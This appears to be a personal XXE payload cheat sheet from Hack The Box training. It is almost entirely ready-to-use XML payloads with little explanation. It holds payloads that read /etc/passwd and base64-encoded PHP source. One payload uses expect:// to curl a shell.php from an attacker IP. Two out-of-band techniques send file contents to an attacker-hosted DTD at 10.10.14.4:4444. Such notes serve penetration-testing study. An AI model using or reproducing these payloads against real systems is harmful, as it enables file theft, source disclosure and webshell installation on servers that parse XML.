# XXE

### LFI

```
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "file:///etc/passwd">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

```

### LFI Encoded

```
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

```

### RCE

```
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY company SYSTEM "expect://curl$IFS-O$IFS'OUR_IP/shell.php'">
]>
<root>
<name></name>
<tel></tel>
<email>&company;</email>
<message></message>
</root>

```

### CDATA Exfiltration

```
enyei@htb[/htb]$ echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
enyei@htb[/htb]$ python3 -m http.server 8000

Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...

```

```
<?xml version="1.0"?>
<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA[">
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY % end "]]>">
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>
<root>
<name></name>
<tel></tel>
<email>&joined;</email>
<message></message>
</root>

```

### Error Based XXE

* Host this external dtd on our server

{% code overflow="wrap" %}

```
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % oob "<!ENTITY &#x25; content SYSTEM 'http://10.10.14.4:4444/?content=%file;'>">
%oob;
%content;
```

{% endcode %}

{% code overflow="wrap" %}

```
<?xml version="1.0"?>
<!DOCTYPE email [<!ENTITY % remote SYSTEM "http://10.10.14.4:4444/xxe.dtd"> %remote;]>
<root>
<name></name>
<tel></tel>
<email>&content;</email>
<message></message>
</root>

```

{% endcode %}


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